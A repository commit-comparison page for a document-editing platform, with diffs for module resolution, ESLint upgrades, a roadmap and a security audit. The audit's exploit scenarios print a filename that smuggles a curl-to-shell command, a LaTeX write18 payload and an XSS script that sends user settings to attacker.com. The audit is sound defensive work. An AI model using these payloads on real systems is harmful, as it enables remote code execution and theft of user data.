Compare commits
130 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 952c897760 | |||
| 713aa70c52 | |||
| 3e0188b66d | |||
| 8c9a610f0d | |||
| 6496e9133d | |||
| 5fcf4bb262 | |||
| 8e6e9eded0 | |||
| 33c830b594 | |||
| f36dbd12e9 | |||
| c65bb80512 | |||
| 031f65224c | |||
| 11d852fe18 | |||
| cc0d97903c | |||
| 5850ffcad7 | |||
| 8c9088d054 | |||
| 974a9c4fb3 | |||
| 34025dc084 | |||
| 0099672015 | |||
| a5ca432396 | |||
| f1abcaa4ce | |||
| 1c323351a2 | |||
| 55e8208892 | |||
| b8543c8bb9 | |||
| 7e6c8c30cc | |||
| e0c717c131 | |||
| 7a5218d472 | |||
| b16b096744 | |||
| e9cc63a261 | |||
| 07c72cf7e5 | |||
| 4f98abbc5d | |||
| 1dcd6e24f4 | |||
| e21f7cc0d5 | |||
| e4f5385e35 | |||
| 2f3e3e7363 | |||
| 94e8ff3503 | |||
| 26da1f6205 | |||
| 5287ea6f00 | |||
| 045d458875 | |||
| 2c0f387cef | |||
| f9788a1c69 | |||
| 489bdb01ec | |||
| 0b8897540d | |||
| 2ead377ebc | |||
| 5a85e1b9d8 | |||
| 165219dcb1 | |||
| 71755e5cee | |||
| 453439e611 | |||
| d895e14e48 | |||
| 4410a83146 | |||
| db162e54af | |||
| 228ad00075 | |||
| 7eaeaedcd8 | |||
| 54c510c818 | |||
| 5796c0157c | |||
| 3f68c147a4 | |||
| 0780963bc7 | |||
| 43a622cd71 | |||
| 9079b545f7 | |||
| eb45ececf0 | |||
| e6add1e6f0 | |||
| 170818e6fc | |||
| 9ea904f78f | |||
| 757735b075 | |||
| fa36cd508b | |||
| b7735d402d | |||
| cabe0046c5 | |||
| 97247b8ea5 | |||
| 3fcd133198 | |||
| 44dee7592a | |||
| bfcf75855a | |||
| 3140e46e68 | |||
| 2570b6559d | |||
| 6ce36a2606 | |||
| fc2abf5b24 | |||
| b8fc478e1f | |||
| d25b032e16 | |||
| fc31a88767 | |||
| 0501586743 | |||
| df61bfc788 | |||
| 9ec0ff065d | |||
| 8e36f20950 | |||
| 06e99fe62a | |||
| d112271b1c | |||
| 0658bd9a31 | |||
| b07d141397 | |||
| 6869ad5bdf | |||
| 9cf1085fbb | |||
| ea57ae9125 | |||
| 5cf1b43ce7 | |||
| e38f4e18e4 | |||
| f1282ee5cd | |||
| a2f72adf67 | |||
| 0da93aaab3 | |||
| e53c6f2aea | |||
| a553a8390d | |||
| 5ad548e7d7 | |||
| 021b2e305c | |||
| cc762bb7e6 | |||
| f8c7e092fa | |||
| 98bd09c31d | |||
| 78bea8d574 | |||
| 979f065581 | |||
| b6451d5bb0 | |||
| d52b5ae141 | |||
| ec84a88eb3 | |||
| 96e0830eef | |||
| a9a9f6ee6b | |||
| 7053434da6 | |||
| 24dba36060 | |||
| fda0283490 | |||
| 2a5f1be811 | |||
| 105a0ff35c | |||
| 2c7129be3a | |||
| bd4f73b836 | |||
| 0e4fe4090a | |||
| 58884231c1 | |||
| db1deb1617 | |||
| b8067723b6 | |||
| c09ada9ddb | |||
| 8b61e8cdca | |||
| e0f542a241 | |||
| ac83bc520c | |||
| 31fbc3daee | |||
| a0ca344065 | |||
| 54e122610e | |||
| 10ef1d0f34 | |||
| 987b3a1f71 | |||
| 270cbaf84e | |||
| 3c763015ce | |||
| b5a73efaeb |
@@ -1,5 +1,5 @@
|
|||||||
diff --git a/lib/sandboxed_module.js b/lib/sandboxed_module.js
|
diff --git a/lib/sandboxed_module.js b/lib/sandboxed_module.js
|
||||||
index 1cd6743fe221cbe91ea92fea3707ed07a8a2ded3..46889217d96d5534a206549ae7bd97100e41c3e4 100644
|
index 1cd6743..4718b97 100644
|
||||||
--- a/lib/sandboxed_module.js
|
--- a/lib/sandboxed_module.js
|
||||||
+++ b/lib/sandboxed_module.js
|
+++ b/lib/sandboxed_module.js
|
||||||
@@ -4,7 +4,7 @@ var Module = require('module');
|
@@ -4,7 +4,7 @@ var Module = require('module');
|
||||||
@@ -11,3 +11,47 @@ index 1cd6743fe221cbe91ea92fea3707ed07a8a2ded3..46889217d96d5534a206549ae7bd9710
|
|||||||
var parent = module.parent;
|
var parent = module.parent;
|
||||||
var globalOptions = {};
|
var globalOptions = {};
|
||||||
var registeredBuiltInSourceTransformers = ['coffee'];
|
var registeredBuiltInSourceTransformers = ['coffee'];
|
||||||
|
@@ -157,12 +157,20 @@ SandboxedModule.prototype._createRecursiveRequireProxy = function() {
|
||||||
|
var cache = Object.create(null);
|
||||||
|
var required = this._getRequires();
|
||||||
|
for (var key in required) {
|
||||||
|
- var injectedFilename = requireLike(this.filename).resolve(key);
|
||||||
|
- cache[injectedFilename] = required[key];
|
||||||
|
+ // Under Yarn PnP, resolution from a transitive dependency's context may fail
|
||||||
|
+ // for packages not declared in that dependency's package.json. Silently skip
|
||||||
|
+ // cache pre-population on failure; the mock will still be injected via the
|
||||||
|
+ // inject map in requireInterceptor or resolved via RecursiveRequireProxy fallback.
|
||||||
|
+ try {
|
||||||
|
+ var injectedFilename = requireLike(this.filename).resolve(key);
|
||||||
|
+ cache[injectedFilename] = required[key];
|
||||||
|
+ } catch (e) {}
|
||||||
|
}
|
||||||
|
cache[this.filename] = this.exports;
|
||||||
|
var globals = this.globals;
|
||||||
|
|
||||||
|
+ // Store the top-level module's filename for PnP fallback resolution
|
||||||
|
+ var topLevelFilename = this.filename;
|
||||||
|
var options;
|
||||||
|
if(!this._options.sourceTransformersSingleOnly && this._options.sourceTransformers){
|
||||||
|
options = {
|
||||||
|
@@ -208,8 +216,18 @@ SandboxedModule.prototype._createRecursiveRequireProxy = function() {
|
||||||
|
if (request in cache) return cache[request];
|
||||||
|
return require(request);
|
||||||
|
}
|
||||||
|
- // cached modules
|
||||||
|
- var requestedFilename = requireLike(this.filename).resolve(request);
|
||||||
|
+ // Resolve the requested module filename.
|
||||||
|
+ // Under Yarn PnP, packages can only resolve their declared dependencies.
|
||||||
|
+ // When sandboxed-module loads a transitive dependency, the resolution context
|
||||||
|
+ // may not have access to all needed packages. Fall back to resolving from
|
||||||
|
+ // the top-level module's context (the module under test).
|
||||||
|
+ var requestedFilename;
|
||||||
|
+ try {
|
||||||
|
+ requestedFilename = requireLike(this.filename).resolve(request);
|
||||||
|
+ } catch (e) {
|
||||||
|
+ if (this.filename === topLevelFilename) throw e;
|
||||||
|
+ requestedFilename = requireLike(topLevelFilename).resolve(request);
|
||||||
|
+ }
|
||||||
|
if (requestedFilename in cache) return cache[requestedFilename];
|
||||||
|
var sandboxedModule = createInnerSandboxedModule(requestedFilename)
|
||||||
|
return sandboxedModule.exports;
|
||||||
|
|||||||
@@ -0,0 +1,41 @@
|
|||||||
|
# Verso — Next Alpha Roadmap
|
||||||
|
|
||||||
|
Ideas and features deferred from the current alpha.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Next alpha (post-current)
|
||||||
|
|
||||||
|
### Typst editing experience (inspired by Collabst)
|
||||||
|
|
||||||
|
- **typst.ts WASM preview** — Run the Typst compiler in the browser via
|
||||||
|
WebAssembly (typst.ts). This would give instant, sub-second preview
|
||||||
|
without a server round-trip, and would eliminate the entire class of
|
||||||
|
race conditions in the CLSI watcher (files written → typst compiles →
|
||||||
|
resolver missed). Could coexist with the CLSI watcher for PDF export
|
||||||
|
while using the WASM path for live preview.
|
||||||
|
|
||||||
|
- **Tinymist LSP integration** — Wire up
|
||||||
|
[Tinymist](https://github.com/Myriad-Dreamin/tinymist) (the Typst
|
||||||
|
language server) behind a WebSocket proxy. Would give Typst files
|
||||||
|
first-class autocomplete, hover docs, go-to-definition, and inline
|
||||||
|
error diagnostics — the main editing comfort gap vs. a native editor.
|
||||||
|
|
||||||
|
### Editor UX for non-LaTeX formats (.typ, .qmd, .md)
|
||||||
|
|
||||||
|
- **Visual/rich-text editing mode** — A toggle between raw source and a
|
||||||
|
rendered-in-place view for `.typ`, `.qmd`, and `.md` files (similar to
|
||||||
|
Overleaf's rich-text mode for LaTeX). Users who don't know Typst or
|
||||||
|
Markdown syntax should be able to edit content without seeing markup.
|
||||||
|
CodeMirror 6 already supports this pattern via a custom `NodeView` layer
|
||||||
|
or a separate Prosemirror bridge.
|
||||||
|
|
||||||
|
- **Toolbar / insertion shortcuts** — A formatting toolbar and keyboard
|
||||||
|
shortcuts for common operations, adapted per file type:
|
||||||
|
- **All formats**: bold, italic, underline, headings, bullet/numbered
|
||||||
|
lists, inline code, links.
|
||||||
|
- **Quarto / Markdown**: insert image, insert table, insert code block
|
||||||
|
with language tag.
|
||||||
|
- **Quarto RevealJS**: insert slide divider (`---`), insert speaker
|
||||||
|
notes (`::: notes`), insert columns layout, insert video embed
|
||||||
|
(using Quarto's `{{< video >}}` shortcode).
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
/**
|
||||||
|
* Typst syntax highlighting diagnostics.
|
||||||
|
* Paste into browser dev tools console with a Typst file open.
|
||||||
|
*/
|
||||||
|
|
||||||
|
// ── Part 1: CSS token counts (no view needed) ────────────────────────────
|
||||||
|
// If all are 0, the language mode is not being applied at all.
|
||||||
|
console.log('=== Token CSS class counts ===')
|
||||||
|
;['heading','comment','keyword','string','number',
|
||||||
|
'variableName','function','emphasis','strong'].forEach(t => {
|
||||||
|
const n = document.querySelectorAll('.tok-' + t).length
|
||||||
|
console.log(` .tok-${t}: ${n}`)
|
||||||
|
})
|
||||||
|
|
||||||
|
// ── Part 2: Try to get the parse tree ────────────────────────────────────
|
||||||
|
// CodeMirror 6 stores DocView on .cm-content; DocView.view = EditorView
|
||||||
|
const content = document.querySelector('.cm-content')
|
||||||
|
const view = content?.cmView?.view
|
||||||
|
|
||||||
|
if (!view?.state) {
|
||||||
|
console.warn('Could not find EditorView — parse tree unavailable')
|
||||||
|
console.log('Keys on .cm-content:', Object.keys(content ?? {}).join(', '))
|
||||||
|
} else {
|
||||||
|
console.log('\n=== Parse tree (top 600 chars) ===')
|
||||||
|
console.log(view.state.tree.toString().slice(0, 600))
|
||||||
|
|
||||||
|
// First heading line
|
||||||
|
const doc = view.state.doc
|
||||||
|
for (let ln = 1; ln <= Math.min(doc.lines, 25); ln++) {
|
||||||
|
const line = doc.line(ln)
|
||||||
|
if (line.text.trimStart().startsWith('=')) {
|
||||||
|
console.log(`\n=== Nodes on heading line ${ln}: "${line.text}" ===`)
|
||||||
|
view.state.tree.iterate({
|
||||||
|
from: line.from, to: line.to,
|
||||||
|
enter(node) {
|
||||||
|
const t = doc.sliceString(node.from, node.to)
|
||||||
|
console.log(` ${node.name}: ${JSON.stringify(t.slice(0, 50))}`)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,259 @@
|
|||||||
|
# Verso Alpha-3 Security Audit
|
||||||
|
|
||||||
|
**Date:** 2026-06-19
|
||||||
|
**Branch audited:** `main` (full codebase)
|
||||||
|
**Method:** multi-agent automated review + manual false-positive filtering
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
| # | Title | Severity | Confidence |
|
||||||
|
|---|-------|----------|------------|
|
||||||
|
| 1 | Shell injection via filename → RCE on CLSI | **HIGH** | 9/10 |
|
||||||
|
| 2 | Read-only collaborator can publish / unpublish / rotate tokens | **HIGH** | 9/10 |
|
||||||
|
| 3 | LaTeX `shell-escape` enabled without sandbox in production | **HIGH** | 9/10 |
|
||||||
|
| 4 | Published presentations served without CSP (stored XSS on origin) | **MEDIUM** | 9/10 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vuln 1 — Command Injection via Filename → RCE on CLSI
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- `services/clsi/app/js/QuartoRunner.js` (lines 102–147)
|
||||||
|
- `services/clsi/app/js/TypstRunner.js` (lines 139–141, 399–400)
|
||||||
|
|
||||||
|
**Category:** `command_injection` / `rce`
|
||||||
|
**Severity:** HIGH | **Confidence:** 9/10
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
`renderTarget` / `mainFile` (the project's root resource path) is interpolated directly into a shell command string passed to `/bin/sh -c` without any quoting or escaping:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// QuartoRunner.js ~line 102
|
||||||
|
const baseName = renderTarget.replace(/\.[^/.]+$/, '')
|
||||||
|
// …passed to /bin/sh -c:
|
||||||
|
`quarto render $COMPILE_DIR/${renderTarget} 2>&1 && mv ${baseName}.pdf output.pdf`
|
||||||
|
`; rm -rf ${baseName}.qmd ${baseName}_files`
|
||||||
|
```
|
||||||
|
|
||||||
|
```js
|
||||||
|
// TypstRunner.js ~line 140 — double quotes do NOT prevent $() or backtick expansion
|
||||||
|
['/bin/sh', '-c', `typst watch "${absInput}" "${absOutput}" 2>&1`]
|
||||||
|
|
||||||
|
// TypstRunner.js ~line 399 — completely unquoted
|
||||||
|
['/bin/sh', '-c', `typst compile $COMPILE_DIR/${mainFile} output.pdf 2>&1`]
|
||||||
|
```
|
||||||
|
|
||||||
|
`SafePath.isCleanFilename()` (`SafePath.mjs` lines 24–37) only blocks `/`, `\`, `*`, and control characters. Shell metacharacters — `$`, `` ` ``, `(`, `)`, `;`, `&`, `|` — all pass through unchecked. The CLSI's own `_checkPath()` only rejects `..` path traversal.
|
||||||
|
|
||||||
|
### Exploit Scenario
|
||||||
|
|
||||||
|
Any project collaborator renames their root file to:
|
||||||
|
|
||||||
|
```
|
||||||
|
foo$(curl https://attacker.com/shell.sh|sh).qmd
|
||||||
|
```
|
||||||
|
|
||||||
|
Triggering a compile executes the injected command unsandboxed inside the CLSI container as the host process user.
|
||||||
|
|
||||||
|
### Fix
|
||||||
|
|
||||||
|
Use an args array instead of `/bin/sh -c` with a concatenated string:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Instead of:
|
||||||
|
spawn('/bin/sh', ['-c', `quarto render ${renderTarget} ...`])
|
||||||
|
|
||||||
|
// Use:
|
||||||
|
spawn('quarto', ['render', absRenderTarget, '--to', 'pdf'])
|
||||||
|
```
|
||||||
|
|
||||||
|
For cases where a shell string is unavoidable, single-quote the variable: `'${renderTarget}'` (single quotes prevent all shell expansion). The safest fix is removing all three `/bin/sh -c templateString` invocations in favour of direct `spawn` with an explicit args array.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vuln 2 — Authorization Bypass: Read-Only Collaborators Can Publish / Unpublish / Rotate Tokens
|
||||||
|
|
||||||
|
**File:** `services/web/app/src/router.mjs` (lines 697–710)
|
||||||
|
|
||||||
|
**Category:** `authorization_bypass` / `privilege_escalation`
|
||||||
|
**Severity:** HIGH | **Confidence:** 9/10
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
Three destructive presentation endpoints are gated on `ensureUserCanReadProject` instead of `ensureUserCanAdminProject`:
|
||||||
|
|
||||||
|
```js
|
||||||
|
webRouter.post('/project/:Project_id/publish-presentation',
|
||||||
|
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
|
||||||
|
PublishedPresentationController.publish)
|
||||||
|
|
||||||
|
webRouter.post('/project/:Project_id/publish-presentation/regenerate',
|
||||||
|
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
|
||||||
|
PublishedPresentationController.regenerate)
|
||||||
|
|
||||||
|
webRouter.delete('/project/:Project_id/publish-presentation',
|
||||||
|
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
|
||||||
|
PublishedPresentationController.unpublish)
|
||||||
|
```
|
||||||
|
|
||||||
|
`canUserReadProject` returns `true` for the `READ_ONLY` privilege level (`AuthorizationManager.mjs` lines 260–276), which is granted to any read-only collaborator and to anonymous users holding a read-only token link. `canUserAdminProject` requires `OWNER` only.
|
||||||
|
|
||||||
|
### Exploit Scenario
|
||||||
|
|
||||||
|
User A shares a project read-only with User B. User B can:
|
||||||
|
|
||||||
|
1. **`DELETE /publish-presentation`** — permanently take down the owner's published presentation
|
||||||
|
2. **`POST /publish-presentation/regenerate`** — rotate the public/login/member share token, breaking all existing links
|
||||||
|
3. **`POST /publish-presentation`** — force a recompile and overwrite the published snapshot
|
||||||
|
|
||||||
|
### Fix
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Change all three routes — replace:
|
||||||
|
AuthorizationMiddleware.ensureUserCanReadProject
|
||||||
|
// with:
|
||||||
|
AuthorizationMiddleware.ensureUserCanAdminProject
|
||||||
|
```
|
||||||
|
|
||||||
|
One-line fix per route. This is the highest-priority fix because it requires no architectural change.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vuln 3 — LaTeX `shell-escape` Enabled Without Sandbox in Production (RCE)
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- `.gitea/workflows/deploy-verso-prod.yml` (lines 332–333)
|
||||||
|
- `services/clsi/app/js/LatexRunner.js` (lines 200–202)
|
||||||
|
- `services/clsi/app/js/CommandRunner.js` (lines 12–16)
|
||||||
|
|
||||||
|
**Category:** `rce` / `insecure_configuration`
|
||||||
|
**Severity:** HIGH | **Confidence:** 9/10
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
The production Kubernetes deployment sets `OVERLEAF_LATEX_SHELL_ESCAPE: "true"` with neither `SANDBOXED_COMPILES` nor `DOCKER_RUNNER` configured. This passes `-shell-escape` to every latexmk invocation globally, for all users, with no per-user or per-project gating:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// LatexRunner.js lines 200–202
|
||||||
|
if (Settings.clsi?.latexShellEscape) {
|
||||||
|
command.push('-shell-escape') // unconditional — applies to all users/projects
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Without `DOCKER_RUNNER=true`, `CommandRunner.js` selects `LocalCommandRunner` — compiles run as the host process with full container filesystem access. The reference `docker-compose.yml` *does* configure sandboxed compiles (`SANDBOXED_COMPILES: true`, `DOCKER_RUNNER: true`); the production K8s deployment simply omits them.
|
||||||
|
|
||||||
|
The compile endpoint requires only `ensureUserCanReadProject`, so any holder of a read-only share link can trigger a compile.
|
||||||
|
|
||||||
|
### Exploit Scenario
|
||||||
|
|
||||||
|
Any user with read-only access to any project uploads or edits a `.tex` file containing:
|
||||||
|
|
||||||
|
```latex
|
||||||
|
\immediate\write18{curl https://attacker.com/shell.sh | bash}
|
||||||
|
```
|
||||||
|
|
||||||
|
Triggering a compile executes the command unsandboxed, with access to all mounted volumes (source files, Redis socket, compile output).
|
||||||
|
|
||||||
|
### Fix (two steps)
|
||||||
|
|
||||||
|
**Step 1 — Short term:** Remove `OVERLEAF_LATEX_SHELL_ESCAPE: "true"` from `.gitea/workflows/deploy-verso-prod.yml`. Disable shell-escape entirely unless there is a specific, per-project need.
|
||||||
|
|
||||||
|
**Step 2 — Medium term:** Add sandboxed compile configuration to the production deployment, mirroring the reference `docker-compose.yml`:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
- name: SANDBOXED_COMPILES
|
||||||
|
value: "true"
|
||||||
|
- name: DOCKER_RUNNER
|
||||||
|
value: "true"
|
||||||
|
```
|
||||||
|
|
||||||
|
This contains the blast radius of any future compile-path vulnerability regardless of shell-escape status.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vuln 4 — Stored XSS via Published Presentations (CSP Removed on Main Origin)
|
||||||
|
|
||||||
|
**File:** `services/web/app/src/Features/PublishedPresentation/PublishedPresentationController.mjs` (line 116)
|
||||||
|
|
||||||
|
**Category:** `xss` / `stored`
|
||||||
|
**Severity:** MEDIUM | **Confidence:** 9/10
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
The published-presentation handler explicitly removes the Content-Security-Policy header before serving the raw HTML output:
|
||||||
|
|
||||||
|
```js
|
||||||
|
res.removeHeader('Content-Security-Policy') // line 116
|
||||||
|
res.sendFile(target, ...) // serves output.html / index.html directly
|
||||||
|
```
|
||||||
|
|
||||||
|
The file served is the raw Quarto/reveal.js compile output — not a sanitized template. Since users control the `.qmd` source entirely, arbitrary `<script>` blocks can be embedded. The `/p/:token` routes are registered on the same `webRouter` as the main app, so scripts execute with **full same-origin privileges** against the Verso application origin.
|
||||||
|
|
||||||
|
### Impact
|
||||||
|
|
||||||
|
- Any visitor to a `publicToken` link has the script execute in their browser (no login required to be targeted)
|
||||||
|
- `fetch()` calls from the same origin automatically include the session cookie, bypassing `httpOnly`
|
||||||
|
- A script can call the `/dev/csrf` endpoint to obtain a valid CSRF token, then call any mutating POST/DELETE API endpoint as the victim (read/write projects, change email, delete account, exfiltrate documents)
|
||||||
|
|
||||||
|
### Exploit Scenario
|
||||||
|
|
||||||
|
1. Attacker creates a Quarto project with a slide containing:
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
fetch('/user/settings', {credentials: 'include'})
|
||||||
|
.then(r => r.json())
|
||||||
|
.then(d => fetch('https://attacker.com/?d=' + btoa(JSON.stringify(d))))
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
2. Compiles and publishes → obtains the `publicToken` URL
|
||||||
|
3. Shares the link with a victim
|
||||||
|
4. Victim visits the link → script executes on the Verso origin → authenticated API calls made on victim's behalf
|
||||||
|
|
||||||
|
### Fix
|
||||||
|
|
||||||
|
The correct fix is to **serve published presentations from an isolated subdomain** (e.g., `decks.verso.example.com`) with no session cookie access, so embedded scripts are origin-isolated from the main app.
|
||||||
|
|
||||||
|
As a stopgap, apply a restricted CSP instead of removing it entirely:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Instead of:
|
||||||
|
res.removeHeader('Content-Security-Policy')
|
||||||
|
|
||||||
|
// Apply a presentation-specific policy:
|
||||||
|
res.setHeader('Content-Security-Policy',
|
||||||
|
"default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'none'")
|
||||||
|
```
|
||||||
|
|
||||||
|
`connect-src 'none'` blocks `fetch()`/XHR exfiltration even if inline scripts run.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Items Reviewed and Not Flagged
|
||||||
|
|
||||||
|
| Area | Finding |
|
||||||
|
|------|---------|
|
||||||
|
| MongoDB queries | No raw `req.body` interpolation; Mongoose used throughout |
|
||||||
|
| CSRF protection | `csurf` middleware applied globally; no Verso-added bypass found |
|
||||||
|
| `dangerouslySetInnerHTML` | Only in operator-controlled footer (env-var source, not user input) |
|
||||||
|
| `DOMPurify` usage | `labs-description.tsx` uses it correctly with a strict allowlist |
|
||||||
|
| Hardcoded credentials | `dev.env` has weak defaults; production uses auto-generated secrets from `100_generate_secrets.sh` |
|
||||||
|
| Open redirects | `getSafeRedirectPath` strips to pathname only; no exploitable chain found |
|
||||||
|
| SSRF (URL agent) | Proxied through `linkedUrlProxy`; host allowlisting in place |
|
||||||
|
| Path traversal in `serve()` | `path.resolve` + `startsWith` guard is correct |
|
||||||
|
| Session secret | Auto-generated at init, stored in `/etc/container_environment/CRYPTO_RANDOM` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Recommended Fix Priority for Alpha-3
|
||||||
|
|
||||||
|
| Priority | Finding | Effort |
|
||||||
|
|----------|---------|--------|
|
||||||
|
| 1 | **Vuln 2** — wrong auth middleware on 3 routes | ~5 min, 3-line fix |
|
||||||
|
| 2 | **Vuln 3** — remove `shell-escape` from prod deploy | ~5 min, remove 2 lines from YAML |
|
||||||
|
| 3 | **Vuln 1** — fix quoting in QuartoRunner + TypstRunner | ~1 hour, refactor spawn calls |
|
||||||
|
| 4 | **Vuln 4** — XSS via presentations | Hours–days; subdomain isolation is the real fix |
|
||||||
|
|
||||||
|
Vulns 1–3 are straightforward enough to fix before shipping alpha-3. Vuln 4 can be mitigated with the `connect-src 'none'` CSP header as a stopgap and tracked as a post-alpha-3 architectural item.
|
||||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 88 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 95 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 102 KiB |
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +1,10 @@
|
|||||||
|
const pkg = require('./package.json')
|
||||||
|
|
||||||
module.exports = {
|
module.exports = {
|
||||||
|
meta: {
|
||||||
|
name: pkg.name,
|
||||||
|
version: pkg.version,
|
||||||
|
},
|
||||||
rules: {
|
rules: {
|
||||||
'no-unnecessary-trans': require('./no-unnecessary-trans'),
|
'no-unnecessary-trans': require('./no-unnecessary-trans'),
|
||||||
'prefer-kebab-url': require('./prefer-kebab-url'),
|
'prefer-kebab-url': require('./prefer-kebab-url'),
|
||||||
|
|||||||
@@ -8,10 +8,10 @@
|
|||||||
"lodash": "^4.18.1"
|
"lodash": "^4.18.1"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@typescript-eslint/parser": "^8.50.0"
|
"@typescript-eslint/parser": "^8.59.4"
|
||||||
},
|
},
|
||||||
"peerDependencies": {
|
"peerDependencies": {
|
||||||
"eslint": "^8.51.0"
|
"eslint": "^10.4.0"
|
||||||
},
|
},
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"test": "node rules.test.js"
|
"test": "node rules.test.js"
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ module.exports = {
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
create(context) {
|
create(context) {
|
||||||
const currentFilePath = context.getFilename()
|
const currentFilePath = context.filename
|
||||||
// ESLint can sometimes pass <text> or <input> for snippets not in a file
|
// ESLint can sometimes pass <text> or <input> for snippets not in a file
|
||||||
if (currentFilePath === '<text>' || currentFilePath === '<input>') {
|
if (currentFilePath === '<text>' || currentFilePath === '<input>') {
|
||||||
return {}
|
return {}
|
||||||
@@ -81,9 +81,10 @@ module.exports = {
|
|||||||
typeof firstArg.value !== 'string'
|
typeof firstArg.value !== 'string'
|
||||||
) {
|
) {
|
||||||
if (firstArg.type === 'Identifier') {
|
if (firstArg.type === 'Identifier') {
|
||||||
const variable = context
|
const scope = context.sourceCode.getScope(node)
|
||||||
.getScope()
|
const variable = scope.variables.find(
|
||||||
.variables.find(v => v.name === firstArg.name)
|
v => v.name === firstArg.name
|
||||||
|
)
|
||||||
if (
|
if (
|
||||||
variable &&
|
variable &&
|
||||||
variable.defs.length > 0 &&
|
variable.defs.length > 0 &&
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
const { RuleTester } = require('eslint')
|
const { RuleTester } = require('eslint')
|
||||||
|
const tsParser = require('@typescript-eslint/parser')
|
||||||
const noThrowInCallback = require('./no-throw-in-callback')
|
const noThrowInCallback = require('./no-throw-in-callback')
|
||||||
const preferKebabUrl = require('./prefer-kebab-url')
|
const preferKebabUrl = require('./prefer-kebab-url')
|
||||||
const noUnnecessaryTrans = require('./no-unnecessary-trans')
|
const noUnnecessaryTrans = require('./no-unnecessary-trans')
|
||||||
@@ -8,10 +9,10 @@ const viDoMockValidPath = require('./require-vi-doMock-valid-path')
|
|||||||
const requireCioSnakeCaseProperties = require('./require-cio-snake-case-properties')
|
const requireCioSnakeCaseProperties = require('./require-cio-snake-case-properties')
|
||||||
|
|
||||||
const ruleTester = new RuleTester({
|
const ruleTester = new RuleTester({
|
||||||
parser: require.resolve('@typescript-eslint/parser'),
|
languageOptions: {
|
||||||
parserOptions: {
|
parser: tsParser,
|
||||||
ecmaVersion: 'latest',
|
ecmaVersion: 'latest',
|
||||||
ecmaFeatures: { jsx: true },
|
parserOptions: { ecmaFeatures: { jsx: true } },
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -33,19 +34,27 @@ ruleTester.run('prefer-kebab-url', preferKebabUrl, {
|
|||||||
invalid: [
|
invalid: [
|
||||||
{
|
{
|
||||||
code: `app.get('/fooBar')`,
|
code: `app.get('/fooBar')`,
|
||||||
errors: [{ message: 'Route path should be in kebab-case.' }],
|
errors: [
|
||||||
|
{ message: 'Route path should be in kebab-case.', suggestions: 1 },
|
||||||
|
],
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
code: `app.get('/fooBar/:id')`,
|
code: `app.get('/fooBar/:id')`,
|
||||||
errors: [{ message: 'Route path should be in kebab-case.' }],
|
errors: [
|
||||||
|
{ message: 'Route path should be in kebab-case.', suggestions: 1 },
|
||||||
|
],
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
code: `webRouter.get('/foo_bar/:id/FooBar/:name/fooBar')`,
|
code: `webRouter.get('/foo_bar/:id/FooBar/:name/fooBar')`,
|
||||||
errors: [{ message: 'Route path should be in kebab-case.' }],
|
errors: [
|
||||||
|
{ message: 'Route path should be in kebab-case.', suggestions: 1 },
|
||||||
|
],
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
code: `router.get(/^\\/downLoad\\/pro-ject\\/([^/]*)\\/OutPut\\/out-put\\.pdf$/)`,
|
code: `router.get(/^\\/downLoad\\/pro-ject\\/([^/]*)\\/OutPut\\/out-put\\.pdf$/)`,
|
||||||
errors: [{ message: 'Route path should be in kebab-case.' }],
|
errors: [
|
||||||
|
{ message: 'Route path should be in kebab-case.', suggestions: 1 },
|
||||||
|
],
|
||||||
},
|
},
|
